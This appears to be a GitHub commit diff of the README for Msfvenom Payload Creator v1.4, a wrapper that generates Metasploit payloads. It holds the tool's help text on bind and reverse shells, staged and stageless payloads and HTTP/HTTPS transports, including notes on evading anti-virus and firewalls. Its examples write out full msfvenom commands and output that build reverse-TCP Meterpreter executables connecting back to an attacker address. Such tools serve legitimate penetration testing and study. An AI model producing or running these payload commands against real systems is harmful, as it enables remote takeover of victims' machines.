You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
v1.4: Add OSX support, bind shell fix, add DLL format
+ Improved OSX support (Thanks @yugoslavskiy)
+ Fix bind shell issue (Thanks @NullMode)
+ Added .dll support (Thanks @NullMode)
+ Removed some colour from the help page
+ Tweaked the output formatting a little
Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
@@ -18,193 +20,221 @@ The only necessary input from the user should be **defining the payload** they w
18
20
***Want to generate one of each payload? No issue!** Try: `loop`.
19
21
***Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem**. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
20
22
21
-
_Note: This will **not** try to bypass any anti-virus solutions in any modes._
23
+
_Note: This will **NOT** try to bypass any anti-virus solutions at any stage._
24
+
22
25
23
26
## Install
24
27
25
-
* Designed for **Kali Linux v1.1.0a+** & **Metasploit v4.11+**_(nothing else has been tested)_.
28
+
+ Designed for **Kali Linux v2.x** & **Metasploit v4.11+**.
[i]/usr/binloop eth1 # A payload for every type, using eth1's IP.
44
-
[i]/usr/bin msf batch wan # All possible Meterpreter payloads, using WAN IP.
45
-
[i]/usr/bin help verbose # This help screen, with even more information.
46
-
47
-
[i] <TYPE>:
48
-
[i] + ASP
49
-
[i] + ASPX
50
-
[i] + Bash [.sh]
51
-
[i] + Java [.jsp]
52
-
[i] + Linux [.elf]
53
-
[i] + OSX [.macho]
54
-
[i] + Perl [.pl]
55
-
[i] + PHP
56
-
[i] + Powershell [.ps1]
57
-
[i] + Python [.py]
58
-
[i] + Tomcat [.war]
59
-
[i] + Windows [.exe]
60
-
61
-
[i] Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
62
-
[i] Missing <DOMAIN/IP> will default to the IP menu.
63
-
64
-
[i] Missing <PORT> will default to 443.
65
-
66
-
[i] <CMD> is a standard/native command prompt/terminal to interactive with.
67
-
[i] <MSF> is a custom cross platform Meterpreter shell, gaining the full power of Metasploit.
68
-
[i] Missing <CMD/MSF> will default to <MSF> where possible.
69
-
[i] Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
70
-
[i] <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
71
-
[i] <MSF> payloads are generally much larger than <CMD>, as it comes with more features.
72
-
73
-
[i] <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
74
-
[i] <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
75
-
[i] Missing <BIND/REVERSE> will default to <REVERSE>.
76
-
[i] <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
77
-
78
-
[i] <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
79
-
[i] <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
80
-
[i] Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
81
-
[i] Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
82
-
[i] <STAGED> are 'better' in low-bandwidth/high-latency environments.
83
-
[i] <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
84
-
[i] More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
[i] <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
89
-
[i] <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
90
-
[i] <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
91
-
[i] <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
92
-
[i] Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
93
-
[i] By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
94
-
[i] More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
95
-
96
-
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
/usr/bin/mpc verbose loop eth1 # A payload for every type, using eth1's IP.
52
+
/usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
53
+
/usr/bin/mpc help verbose # Help screen, with even more information.
54
+
55
+
<TYPE>:
56
+
+ ASP
57
+
+ ASPX
58
+
+ Bash [.sh]
59
+
+ Java [.jsp]
60
+
+ Linux [.elf]
61
+
+ OSX [.macho]
62
+
+ Perl [.pl]
63
+
+ PHP
64
+
+ Powershell [.ps1]
65
+
+ Python [.py]
66
+
+ Tomcat [.war]
67
+
+ Windows [.exe // .dll]
68
+
69
+
Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
70
+
Missing <DOMAIN/IP> will default to the IP menu.
71
+
72
+
Missing <PORT> will default to 443.
73
+
74
+
<CMD> is a standard/native command prompt/terminal to interactive with.
75
+
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
76
+
Missing <CMD/MSF> will default to <MSF> where possible.
77
+
Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
78
+
<CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
79
+
<MSF> payloads are generally much larger than <CMD>, as it comes with more features.
80
+
81
+
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
82
+
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
83
+
Missing <BIND/REVERSE> will default to <REVERSE>.
84
+
<BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
85
+
86
+
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
87
+
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
88
+
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
89
+
Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
90
+
<STAGED> are 'better' in low-bandwidth/high-latency environments.
91
+
<STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
92
+
More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
97
+
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
98
+
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
99
+
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
100
+
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
101
+
By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
102
+
More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
103
+
104
+
<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
105
+
<LOOP> will just create one of each <TYPE>.
106
+
107
+
<VERBOSE> will display more information.
100
108
root@kali:~#
101
109
```
102
110
103
-
## Example \#1 (Windows, Fully Automated With IP)
111
+
112
+
## Example \#1 (Windows, Fully Automated Using Manual IP)
104
113
105
114
```bash
106
-
root@kali:~# mpc windows 192.168.1.10
107
-
[*] Msfvenom Payload Creator (MPC v1.3.2)
115
+
root@kali:~#bash mpc.sh windows 192.168.1.10
116
+
[*] Msfvenom Payload Creator (MPC v1.4)
108
117
[i] IP: 192.168.1.10
109
118
[i] PORT: 443
110
119
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
111
-
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 > /root/windows-meterpreter-staged-reverse-tcp-443.exe
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
173
192
[*] Done!
174
193
root@kali:~#
175
194
```
195
+
176
196
_Note: Removed WAN IP._
177
197
178
198
179
-
## Example \#4 (Loop)
199
+
## Example \#4 (Loop - Generates one of everything)
180
200
181
201
```bash
182
-
root@kali:~#bash mpc.sh loop eth1
183
-
[*] Msfvenom Payload Creator (MPC v1.3.2)
202
+
root@kali:~#./mpc.sh loop wan
203
+
[*] Msfvenom Payload Creator (MPC v1.4)
184
204
[i] Loop Mode. Creating one of each TYPE, with default values
185
205
186
-
[*] Msfvenom Payload Creator (MPC v1.3.2)
187
-
[i] IP: 192.168.155.175
206
+
[*] Msfvenom Payload Creator (MPC v1.4)
207
+
[i] IP: xxx.xxx.xxx.xxx
188
208
[i] PORT: 443
189
209
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
190
-
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f asp --platform windows -a x86 -e generic/none LHOST=192.168.155.175 LPORT=443 >'/root/windows-meterpreter-staged-reverse-tcp-443.asp'
210
+
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f asp \
211
+
--platform windows -a x86 -e generic/none LHOST=xxx.xxx.xxx.xxx LPORT=443 \
0 commit comments